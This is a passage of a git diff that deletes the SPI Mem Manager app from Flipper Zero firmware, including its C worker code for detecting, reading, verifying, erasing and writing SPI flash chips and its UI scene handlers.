furi_thread_flags_set(furi_thread_get_id(worker->thread), SPIMemEventVerify); -} - -void spi_mem_worker_erase_start( - SPIMemChip* chip_info, - SPIMemWorker* worker, - SPIMemWorkerCallback callback, - void* context) { - furi_check(worker->mode_index == SPIMemWorkerModeIdle); - worker->callback = callback; - worker->cb_ctx = context; - worker->chip_info = chip_info; - furi_thread_flags_set(furi_thread_get_id(worker->thread), SPIMemEventErase); -} - -void spi_mem_worker_write_start( - SPIMemChip* chip_info, - SPIMemWorker* worker, - SPIMemWorkerCallback callback, - void* context) { - furi_check(worker->mode_index == SPIMemWorkerModeIdle); - worker->callback = callback; - worker->cb_ctx = context; - worker->chip_info = chip_info; - furi_thread_flags_set(furi_thread_get_id(worker->thread), SPIMemEventWrite); -} diff --git a/applications/external/spi_mem_manager/lib/spi/spi_mem_worker.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_worker.h deleted file mode 100644 index c3761cd5a..000000000 --- a/applications/external/spi_mem_manager/lib/spi/spi_mem_worker.h +++ /dev/null @@ -1,54 +0,0 @@ -#pragma once - -#include -#include "spi_mem_chip.h" - -typedef struct SPIMemWorker SPIMemWorker; - -typedef struct { - void (*const process)(SPIMemWorker* worker); -} SPIMemWorkerModeType; - -typedef enum { - SPIMemCustomEventWorkerChipIdentified, - SPIMemCustomEventWorkerChipUnknown, - SPIMemCustomEventWorkerBlockReaded, - SPIMemCustomEventWorkerChipFail, - SPIMemCustomEventWorkerFileFail, - SPIMemCustomEventWorkerDone, - SPIMemCustomEventWorkerVerifyFail, -} SPIMemCustomEventWorker; - -typedef void (*SPIMemWorkerCallback)(void* context, SPIMemCustomEventWorker event); - -SPIMemWorker* spi_mem_worker_alloc(); -void spi_mem_worker_free(SPIMemWorker* worker); -void spi_mem_worker_start_thread(SPIMemWorker* worker); -void spi_mem_worker_stop_thread(SPIMemWorker* worker); -bool spi_mem_worker_check_for_stop(SPIMemWorker* worker); -void spi_mem_worker_chip_detect_start( - SPIMemChip* chip_info, - found_chips_t* found_chips, - SPIMemWorker* worker, - SPIMemWorkerCallback callback, - void* context); -void spi_mem_worker_read_start( - SPIMemChip* chip_info, - SPIMemWorker* worker, - SPIMemWorkerCallback callback, - void* context); -void spi_mem_worker_verify_start( - SPIMemChip* chip_info, - SPIMemWorker* worker, - SPIMemWorkerCallback callback, - void* context); -void spi_mem_worker_erase_start( - SPIMemChip* chip_info, - SPIMemWorker* worker, - SPIMemWorkerCallback callback, - void* context); -void spi_mem_worker_write_start( - SPIMemChip* chip_info, - SPIMemWorker* worker, - SPIMemWorkerCallback callback, - void* context); diff --git a/applications/external/spi_mem_manager/lib/spi/spi_mem_worker_i.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_worker_i.h deleted file mode 100644 index 43e2d2287..000000000 --- a/applications/external/spi_mem_manager/lib/spi/spi_mem_worker_i.h +++ /dev/null @@ -1,24 +0,0 @@ -#pragma once - -#include "spi_mem_worker.h" - -typedef enum { - SPIMemWorkerModeIdle, - SPIMemWorkerModeChipDetect, - SPIMemWorkerModeRead, - SPIMemWorkerModeVerify, - SPIMemWorkerModeErase, - SPIMemWorkerModeWrite -} SPIMemWorkerMode; - -struct SPIMemWorker { - SPIMemChip* chip_info; - found_chips_t* found_chips; - SPIMemWorkerMode mode_index; - SPIMemWorkerCallback callback; - void* cb_ctx; - FuriThread* thread; - FuriString* file_name; -}; - -extern const SPIMemWorkerModeType spi_mem_worker_modes[]; diff --git a/applications/external/spi_mem_manager/lib/spi/spi_mem_worker_modes.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_worker_modes.c deleted file mode 100644 index a393e5490..000000000 --- a/applications/external/spi_mem_manager/lib/spi/spi_mem_worker_modes.c +++ /dev/null @@ -1,214 +0,0 @@ -#include "spi_mem_worker_i.h" -#include "spi_mem_chip.h" -#include "spi_mem_tools.h" -#include "../../spi_mem_files.h" - -static void spi_mem_worker_chip_detect_process(SPIMemWorker* worker); -static void spi_mem_worker_read_process(SPIMemWorker* worker); -static void spi_mem_worker_verify_process(SPIMemWorker* worker); -static void spi_mem_worker_erase_process(SPIMemWorker* worker); -static void spi_mem_worker_write_process(SPIMemWorker* worker); - -const SPIMemWorkerModeType spi_mem_worker_modes[] = { - [SPIMemWorkerModeIdle] = {.process = NULL}, - [SPIMemWorkerModeChipDetect] = {.process = spi_mem_worker_chip_detect_process}, - [SPIMemWorkerModeRead] = {.process = spi_mem_worker_read_process}, - [SPIMemWorkerModeVerify] = {.process = spi_mem_worker_verify_process}, - [SPIMemWorkerModeErase] = {.process = spi_mem_worker_erase_process}, - [SPIMemWorkerModeWrite] = {.process = spi_mem_worker_write_process}}; - -static void spi_mem_worker_run_callback(SPIMemWorker* worker, SPIMemCustomEventWorker event) { - if(worker->callback) { - worker->callback(worker->cb_ctx, event); - } -} - -static bool spi_mem_worker_await_chip_busy(SPIMemWorker* worker) { - while(true) { - furi_delay_tick(10); // to give some time to OS - if(spi_mem_worker_check_for_stop(worker)) return true; - SPIMemChipStatus chip_status = spi_mem_tools_get_chip_status(worker->chip_info); - if(chip_status == SPIMemChipStatusError) return false; - if(chip_status == SPIMemChipStatusBusy) continue; - return true; - } -} - -static size_t spi_mem_worker_modes_get_total_size(SPIMemWorker* worker) { - size_t chip_size = spi_mem_chip_get_size(worker->chip_info); - size_t file_size = spi_mem_file_get_size(worker->cb_ctx); - size_t total_size = chip_size; - if(chip_size > file_size) total_size = file_size; - return total_size; -} - -// ChipDetect -static void spi_mem_worker_chip_detect_process(SPIMemWorker* worker) { - SPIMemCustomEventWorker event; - while(!spi_mem_tools_read_chip_info(worker->chip_info)) { - furi_delay_tick(10); // to give some time to OS - if(spi_mem_worker_check_for_stop(worker)) return; - } - if(spi_mem_chip_find_all(worker->chip_info, *worker->found_chips)) { - event = SPIMemCustomEventWorkerChipIdentified; - } else { - event = SPIMemCustomEventWorkerChipUnknown; - } - spi_mem_worker_run_callback(worker, event); -} - -// Read -static bool spi_mem_worker_read(SPIMemWorker* worker, SPIMemCustomEventWorker* event) { - uint8_t data_buffer[SPI_MEM_FILE_BUFFER_SIZE]; - size_t chip_size = spi_mem_chip_get_size(worker->chip_info); - size_t offset = 0; - bool success = true; - while(true) { - furi_delay_tick(10); // to give some time to OS - size_t block_size = SPI_MEM_FILE_BUFFER_SIZE; - if(spi_mem_worker_check_for_stop(worker)) break; - if(offset >= chip_size) break; - if((offset + block_size) > chip_size) block_size = chip_size - offset; - if(!spi_mem_tools_read_block(worker->chip_info, offset, data_buffer, block_size)) { - *event = SPIMemCustomEventWorkerChipFail; - success = false; - break; - } - if(!spi_mem_file_write_block(worker->cb_ctx, data_buffer, block_size)) { - success = false; - break; - } - offset += block_size; - spi_mem_worker_run_callback(worker, SPIMemCustomEventWorkerBlockReaded); - } - if(success) *event = SPIMemCustomEventWorkerDone; - return success; -} - -static void spi_mem_worker_read_process(SPIMemWorker* worker) { - SPIMemCustomEventWorker event = SPIMemCustomEventWorkerFileFail; - do { - if(!spi_mem_worker_await_chip_busy(worker)) break; - if(!spi_mem_file_create_open(worker->cb_ctx)) break; - if(!spi_mem_worker_read(worker, &event)) break; - } while(0); - spi_mem_file_close(worker->cb_ctx); - spi_mem_worker_run_callback(worker, event); -} - -// Verify -static bool - spi_mem_worker_verify(SPIMemWorker* worker, size_t total_size, SPIMemCustomEventWorker* event) { - uint8_t data_buffer_chip[SPI_MEM_FILE_BUFFER_SIZE]; - uint8_t data_buffer_file[SPI_MEM_FILE_BUFFER_SIZE]; - size_t offset = 0; - bool success = true; - while(true) { - furi_delay_tick(10); // to give some time to OS - size_t block_size = SPI_MEM_FILE_BUFFER_SIZE; - if(spi_mem_worker_check_for_stop(worker)) break; - if(offset >= total_size) break; - if((offset + block_size) > total_size) block_size = total_size - offset; - if(!spi_mem_tools_read_block(worker->chip_info, offset, data_buffer_chip, block_size)) { - *event = SPIMemCustomEventWorkerChipFail; - success = false; - break; - } - if(!spi_mem_file_read_block(worker->cb_ctx, data_buffer_file, block_size)) { - success = false; - break; - } - if(memcmp(data_buffer_chip, data_buffer_file, block_size) != 0) { - *event = SPIMemCustomEventWorkerVerifyFail; - success = false; - break; - } - offset += block_size; - spi_mem_worker_run_callback(worker, SPIMemCustomEventWorkerBlockReaded); - } - if(success) *event = SPIMemCustomEventWorkerDone; - return success; -} - -static void spi_mem_worker_verify_process(SPIMemWorker* worker) { - SPIMemCustomEventWorker event = SPIMemCustomEventWorkerFileFail; - size_t total_size = spi_mem_worker_modes_get_total_size(worker); - do { - if(!spi_mem_worker_await_chip_busy(worker)) break; - if(!spi_mem_file_open(worker->cb_ctx)) break; - if(!spi_mem_worker_verify(worker, total_size, &event)) break; - } while(0); - spi_mem_file_close(worker->cb_ctx); - spi_mem_worker_run_callback(worker, event); -} - -// Erase -static void spi_mem_worker_erase_process(SPIMemWorker* worker) { - SPIMemCustomEventWorker event = SPIMemCustomEventWorkerChipFail; - do { - if(!spi_mem_worker_await_chip_busy(worker)) break; - if(!spi_mem_tools_erase_chip(worker->chip_info)) break; - if(!spi_mem_worker_await_chip_busy(worker)) break; - event = SPIMemCustomEventWorkerDone; - } while(0); - spi_mem_worker_run_callback(worker, event); -} - -// Write -static bool spi_mem_worker_write_block_by_page( - SPIMemWorker* worker, - size_t offset, - uint8_t* data, - size_t block_size, - size_t page_size) { - for(size_t i = 0; i < block_size; i += page_size) { - if(!spi_mem_worker_await_chip_busy(worker)) return false; - if(!spi_mem_tools_write_bytes(worker->chip_info, offset, data, page_size)) return false; - offset += page_size; - data += page_size; - } - return true; -} - -static bool - spi_mem_worker_write(SPIMemWorker* worker, size_t total_size, SPIMemCustomEventWorker* event) { - bool success = true; - uint8_t data_buffer[SPI_MEM_FILE_BUFFER_SIZE]; - size_t page_size = spi_mem_chip_get_page_size(worker->chip_info); - size_t offset = 0; - while(true) { - furi_delay_tick(10); // to give some time to OS - size_t block_size = SPI_MEM_FILE_BUFFER_SIZE; - if(spi_mem_worker_check_for_stop(worker)) break; - if(offset >= total_size) break; - if((offset + block_size) > total_size) block_size = total_size - offset; - if(!spi_mem_file_read_block(worker->cb_ctx, data_buffer, block_size)) { - *event = SPIMemCustomEventWorkerFileFail; - success = false; - break; - } - if(!spi_mem_worker_write_block_by_page( - worker, offset, data_buffer, block_size, page_size)) { - success = false; - break; - } - offset += block_size; - spi_mem_worker_run_callback(worker, SPIMemCustomEventWorkerBlockReaded); - } - return success; -} - -static void spi_mem_worker_write_process(SPIMemWorker* worker) { - SPIMemCustomEventWorker event = SPIMemCustomEventWorkerChipFail; - size_t total_size = - spi_mem_worker_modes_get_total_size(worker); // need to be executed before opening file - do { - if(!spi_mem_file_open(worker->cb_ctx)) break; - if(!spi_mem_worker_await_chip_busy(worker)) break; - if(!spi_mem_worker_write(worker, total_size, &event)) break; - if(!spi_mem_worker_await_chip_busy(worker)) break; - event = SPIMemCustomEventWorkerDone; - } while(0); - spi_mem_file_close(worker->cb_ctx); - spi_mem_worker_run_callback(worker, event); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene.c deleted file mode 100644 index 7780005f4..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "spi_mem_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const spi_mem_on_enter_handlers[])(void*) = { -#include "spi_mem_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const spi_mem_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "spi_mem_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const spi_mem_on_exit_handlers[])(void* context) = { -#include "spi_mem_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers spi_mem_scene_handlers = { - .on_enter_handlers = spi_mem_on_enter_handlers, - .on_event_handlers = spi_mem_on_event_handlers, - .on_exit_handlers = spi_mem_on_exit_handlers, - .scene_num = SPIMemSceneNum, -}; diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene.h b/applications/external/spi_mem_manager/scenes/spi_mem_scene.h deleted file mode 100644 index 2ac6d21e3..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) SPIMemScene##id, -typedef enum { -#include "spi_mem_scene_config.h" - SPIMemSceneNum, -} SPIMemScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers spi_mem_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "spi_mem_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "spi_mem_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "spi_mem_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_about.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_about.c deleted file mode 100644 index dc0cc4fe4..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_about.c +++ /dev/null @@ -1,42 +0,0 @@ -#include "../spi_mem_app_i.h" -#include "../lib/spi/spi_mem_chip.h" - -#define SPI_MEM_VERSION_APP "0.1.0" -#define SPI_MEM_DEVELOPER "DrunkBatya" -#define SPI_MEM_GITHUB "https://github.com/flipperdevices/flipperzero-firmware" -#define SPI_MEM_NAME "\e#\e! SPI Mem Manager \e!\n" -#define SPI_MEM_BLANK_INV "\e#\e! \e!\n" - -void spi_mem_scene_about_on_enter(void* context) { - SPIMemApp* app = context; - FuriString* tmp_string = furi_string_alloc(); - - widget_add_text_box_element( - app->widget, 0, 0, 128, 14, AlignCenter, AlignBottom, SPI_MEM_BLANK_INV, false); - widget_add_text_box_element( - app->widget, 0, 2, 128, 14, AlignCenter, AlignBottom, SPI_MEM_NAME, false); - furi_string_printf(tmp_string, "\e#%s\n", "Information"); - furi_string_cat_printf(tmp_string, "Version: %s\n", SPI_MEM_VERSION_APP); - furi_string_cat_printf(tmp_string, "Developed by: %s\n", SPI_MEM_DEVELOPER); - furi_string_cat_printf(tmp_string, "Github: %s\n\n", SPI_MEM_GITHUB); - furi_string_cat_printf(tmp_string, "\e#%s\n", "Description"); - furi_string_cat_printf( - tmp_string, - "SPI memory dumper\n" - "Originally written by Hedger, ghettorce and x893 at\n" - "Flipper Hackathon 2021\n\n"); - widget_add_text_scroll_element(app->widget, 0, 16, 128, 50, furi_string_get_cstr(tmp_string)); - - furi_string_free(tmp_string); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewWidget); -} - -bool spi_mem_scene_about_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} -void spi_mem_scene_about_on_exit(void* context) { - SPIMemApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detect.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detect.c deleted file mode 100644 index d9b8f0aa3..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detect.c +++ /dev/null @@ -1,37 +0,0 @@ -#include "../spi_mem_app_i.h" - -static void spi_mem_scene_chip_detect_callback(void* context, SPIMemCustomEventWorker event) { - SPIMemApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void spi_mem_scene_chip_detect_on_enter(void* context) { - SPIMemApp* app = context; - notification_message(app->notifications, &sequence_blink_start_yellow); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewDetect); - spi_mem_worker_start_thread(app->worker); - spi_mem_worker_chip_detect_start( - app->chip_info, &app->found_chips, app->worker, spi_mem_scene_chip_detect_callback, app); -} - -bool spi_mem_scene_chip_detect_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == SPIMemCustomEventWorkerChipIdentified) { - scene_manager_set_scene_state(app->scene_manager, SPIMemSceneSelectVendor, 0); - scene_manager_next_scene(app->scene_manager, SPIMemSceneSelectVendor); - } else if(event.event == SPIMemCustomEventWorkerChipUnknown) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneChipDetectFail); - } - } - return success; -} - -void spi_mem_scene_chip_detect_on_exit(void* context) { - SPIMemApp* app = context; - spi_mem_worker_stop_thread(app->worker); - notification_message(app->notifications, &sequence_blink_stop); - popup_reset(app->popup); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detect_fail.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detect_fail.c deleted file mode 100644 index 876a28721..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detect_fail.c +++ /dev/null @@ -1,57 +0,0 @@ -#include "../spi_mem_app_i.h" -#include "../lib/spi/spi_mem_chip.h" - -static void spi_mem_scene_chip_detect_fail_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - SPIMemApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -void spi_mem_scene_chip_detect_fail_on_enter(void* context) { - SPIMemApp* app = context; - FuriString* str = furi_string_alloc(); - widget_add_button_element( - app->widget, - GuiButtonTypeCenter, - "Retry", - spi_mem_scene_chip_detect_fail_widget_callback, - app); - widget_add_string_element( - app->widget, 64, 9, AlignCenter, AlignBottom, FontPrimary, "Detected"); - widget_add_string_element( - app->widget, 64, 20, AlignCenter, AlignBottom, FontPrimary, "unknown SPI chip"); - furi_string_printf(str, "Vendor\nid: 0x%02X", spi_mem_chip_get_vendor_id(app->chip_info)); - widget_add_string_multiline_element( - app->widget, 16, 44, AlignCenter, AlignBottom, FontSecondary, furi_string_get_cstr(str)); - furi_string_printf(str, "Type\nid: 0x%02X", spi_mem_chip_get_type_id(app->chip_info)); - widget_add_string_multiline_element( - app->widget, 64, 44, AlignCenter, AlignBottom, FontSecondary, furi_string_get_cstr(str)); - furi_string_printf(str, "Capacity\nid: 0x%02X", spi_mem_chip_get_capacity_id(app->chip_info)); - widget_add_string_multiline_element( - app->widget, 110, 44, AlignCenter, AlignBottom, FontSecondary, furi_string_get_cstr(str)); - furi_string_free(str); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewWidget); -} - -bool spi_mem_scene_chip_detect_fail_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeBack) { - success = true; - scene_manager_search_and_switch_to_previous_scene(app->scene_manager, SPIMemSceneStart); - } else if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == GuiButtonTypeCenter) { - scene_manager_previous_scene(app->scene_manager); - } - } - return success; -} -void spi_mem_scene_chip_detect_fail_on_exit(void* context) { - SPIMemApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detected.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detected.c deleted file mode 100644 index 539578a45..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detected.c +++ /dev/null @@ -1,94 +0,0 @@ -#include "../spi_mem_app_i.h" - -static void spi_mem_scene_chip_detected_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - SPIMemApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -static void spi_mem_scene_chip_detected_print_chip_info(Widget* widget, SPIMemChip* chip_info) { - FuriString* tmp_string = furi_string_alloc(); - widget_add_string_element( - widget, - 40, - 12, - AlignLeft, - AlignTop, - FontSecondary, - spi_mem_chip_get_vendor_name(chip_info)); - widget_add_string_element( - widget, 40, 20, AlignLeft, AlignTop, FontSecondary, spi_mem_chip_get_model_name(chip_info)); - furi_string_printf(tmp_string, "Size: %zu KB", spi_mem_chip_get_size(chip_info) / 1024); - widget_add_string_element( - widget, 40, 28, AlignLeft, AlignTop, FontSecondary, furi_string_get_cstr(tmp_string)); - furi_string_free(tmp_string); -} - -static void spi_mem_scene_chip_detect_draw_next_button(SPIMemApp* app) { - FuriString* str = furi_string_alloc(); - if(app->mode == SPIMemModeRead) furi_string_printf(str, "%s", "Read"); - if(app->mode == SPIMemModeWrite) furi_string_printf(str, "%s", "Write"); - if(app->mode == SPIMemModeErase) furi_string_printf(str, "%s", "Erase"); - if(app->mode == SPIMemModeCompare) furi_string_printf(str, "%s", "Check"); - widget_add_button_element( - app->widget, - GuiButtonTypeRight, - furi_string_get_cstr(str), - spi_mem_scene_chip_detected_widget_callback, - app); - furi_string_free(str); -} - -static void spi_mem_scene_chip_detected_set_previous_scene(SPIMemApp* app) { - uint32_t scene = SPIMemSceneStart; - if(app->mode == SPIMemModeCompare || app->mode == SPIMemModeWrite) - scene = SPIMemSceneSavedFileMenu; - scene_manager_search_and_switch_to_previous_scene(app->scene_manager, scene); -} - -static void spi_mem_scene_chip_detected_set_next_scene(SPIMemApp* app) { - uint32_t scene = SPIMemSceneStart; - if(app->mode == SPIMemModeRead) scene = SPIMemSceneReadFilename; - if(app->mode == SPIMemModeWrite) scene = SPIMemSceneErase; - if(app->mode == SPIMemModeErase) scene = SPIMemSceneErase; - if(app->mode == SPIMemModeCompare) scene = SPIMemSceneVerify; - scene_manager_next_scene(app->scene_manager, scene); -} - -void spi_mem_scene_chip_detected_on_enter(void* context) { - SPIMemApp* app = context; - widget_add_button_element( - app->widget, GuiButtonTypeLeft, "Retry", spi_mem_scene_chip_detected_widget_callback, app); - spi_mem_scene_chip_detect_draw_next_button(app); - widget_add_icon_element(app->widget, 0, 12, &I_Dip8_32x36); - widget_add_string_element( - app->widget, 64, 9, AlignCenter, AlignBottom, FontPrimary, "Detected SPI chip"); - spi_mem_scene_chip_detected_print_chip_info(app->widget, app->chip_info); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewWidget); -} - -bool spi_mem_scene_chip_detected_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeBack) { - success = true; - spi_mem_scene_chip_detected_set_previous_scene(app); - } else if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == GuiButtonTypeLeft) { - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, SPIMemSceneChipDetect); - } else if(event.event == GuiButtonTypeRight) { - spi_mem_scene_chip_detected_set_next_scene(app); - } - } - return success; -} -void spi_mem_scene_chip_detected_on_exit(void* context) { - SPIMemApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_error.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_error.c deleted file mode 100644 index ca4b765a2..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_error.c +++ /dev/null @@ -1,52 +0,0 @@ -#include "../spi_mem_app_i.h" - -static void - spi_mem_scene_chip_error_widget_callback(GuiButtonType result, InputType type, void* context) { - SPIMemApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -void spi_mem_scene_chip_error_on_enter(void* context) { - SPIMemApp* app = context; - widget_add_button_element( - app->widget, GuiButtonTypeLeft, "Back", spi_mem_scene_chip_error_widget_callback, app); - widget_add_string_element( - app->widget, 85, 15, AlignCenter, AlignBottom, FontPrimary, "SPI chip error"); - widget_add_string_multiline_element( - app->widget, - 85, - 52, - AlignCenter, - AlignBottom, - FontSecondary, - "Error while\ncommunicating\nwith chip"); - widget_add_icon_element(app->widget, 5, 6, &I_Dip8_32x36); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewWidget); -} - -static void spi_mem_scene_chip_error_set_previous_scene(SPIMemApp* app) { - uint32_t scene = SPIMemSceneChipDetect; - if(app->mode == SPIMemModeRead || app->mode == SPIMemModeErase) scene = SPIMemSceneStart; - scene_manager_search_and_switch_to_previous_scene(app->scene_manager, scene); -} - -bool spi_mem_scene_chip_error_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeBack) { - success = true; - spi_mem_scene_chip_error_set_previous_scene(app); - } else if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == GuiButtonTypeLeft) { - spi_mem_scene_chip_error_set_previous_scene(app); - } - } - return success; -} -void spi_mem_scene_chip_error_on_exit(void* context) { - SPIMemApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_config.h b/applications/external/spi_mem_manager/scenes/spi_mem_scene_config.h deleted file mode 100644 index c0e377303..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_config.h +++ /dev/null @@ -1,21 +0,0 @@ -ADD_SCENE(spi_mem, start, Start) -ADD_SCENE(spi_mem, chip_detect, ChipDetect) -ADD_SCENE(spi_mem, chip_detected, ChipDetected) -ADD_SCENE(spi_mem, chip_detect_fail, ChipDetectFail) -ADD_SCENE(spi_mem, select_file, SelectFile) -ADD_SCENE(spi_mem, saved_file_menu, SavedFileMenu) -ADD_SCENE(spi_mem, read, Read) -ADD_SCENE(spi_mem, read_filename, ReadFilename) -ADD_SCENE(spi_mem, delete_confirm, DeleteConfirm) -ADD_SCENE(spi_mem, success, Success) -ADD_SCENE(spi_mem, about, About) -ADD_SCENE(spi_mem, verify, Verify) -ADD_SCENE(spi_mem, file_info, FileInfo) -ADD_SCENE(spi_mem, erase, Erase) -ADD_SCENE(spi_mem, chip_error, ChipError) -ADD_SCENE(spi_mem, verify_error, VerifyError) -ADD_SCENE(spi_mem, write, Write) -ADD_SCENE(spi_mem, storage_error, StorageError) -ADD_SCENE(spi_mem, select_vendor, SelectVendor) -ADD_SCENE(spi_mem, select_model, SelectModel) -ADD_SCENE(spi_mem, wiring, Wiring) diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_delete_confirm.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_delete_confirm.c deleted file mode 100644 index bb5142452..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_delete_confirm.c +++ /dev/null @@ -1,62 +0,0 @@ -#include "../spi_mem_app_i.h" -#include "../spi_mem_files.h" - -static void spi_mem_scene_delete_confirm_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - SPIMemApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -void spi_mem_scene_delete_confirm_on_enter(void* context) { - SPIMemApp* app = context; - FuriString* file_name = furi_string_alloc(); - FuriString* message = furi_string_alloc(); - path_extract_filename(app->file_path, file_name, true); - furi_string_printf(message, "\e#Delete %s?\e#", furi_string_get_cstr(file_name)); - widget_add_text_box_element( - app->widget, 0, 0, 128, 27, AlignCenter, AlignCenter, furi_string_get_cstr(message), true); - widget_add_button_element( - app->widget, - GuiButtonTypeLeft, - "Cancel", - spi_mem_scene_delete_confirm_widget_callback, - app); - widget_add_button_element( - app->widget, - GuiButtonTypeRight, - "Delete", - spi_mem_scene_delete_confirm_widget_callback, - app); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewWidget); - furi_string_free(file_name); - furi_string_free(message); -} - -bool spi_mem_scene_delete_confirm_on_event(void* context, SceneManagerEvent event) { - SPIMemApp* app = context; - bool success = false; - if(event.type == SceneManagerEventTypeCustom) { - success = true; - if(event.event == GuiButtonTypeRight) { - app->mode = SPIMemModeDelete; - if(spi_mem_file_delete(app)) { - scene_manager_next_scene(app->scene_manager, SPIMemSceneSuccess); - } else { - scene_manager_next_scene(app->scene_manager, SPIMemSceneStorageError); - } - } else if(event.event == GuiButtonTypeLeft) { - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, SPIMemSceneSavedFileMenu); - } - } - return success; -} - -void spi_mem_scene_delete_confirm_on_exit(void* context) { - SPIMemApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/external/spi_mem_manager/scenes/spi_mem_scene_erase.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_erase.c deleted file mode 100644 index 0d3ae66bf..000000000 --- a/applications/external/spi_mem_manager/scenes/spi_mem_scene_erase.c +++ /dev/null @@ -1,65 +0,0 @@ -#include "../spi_mem_app_i.h" - -static void - spi_mem_scene_erase_widget_callback(GuiButtonType result, InputType type, void* context) { - SPIMemApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -static void spi_mem_scene_erase_callback(void* context, SPIMemCustomEventWorker event) { - SPIMemApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void spi_mem_scene_erase_on_enter(void* context) { - SPIMemApp* app = context; - widget_add_button_element( - app->widget, GuiButtonTypeLeft, "Cancel", spi_mem_scene_erase_widget_callback, app); - widget_add_string_element( - app->widget, 64, 15, AlignCenter, AlignBottom, FontPrimary, "Erasing SPI chip"); - widget_add_string_element( - app->widget, 64, 27, AlignCenter, AlignBottom, FontSecondary, "Please be patient"); - notification_message(app->notifications, &sequence_blink_start_magenta); - view_dispatcher_switch_to_view(app->view_dispatcher, SPIMemViewWidget); - spi_mem_worker_start_thread(app->worker); - spi_mem_worker_erase_start(app->chip_info, app->worker, 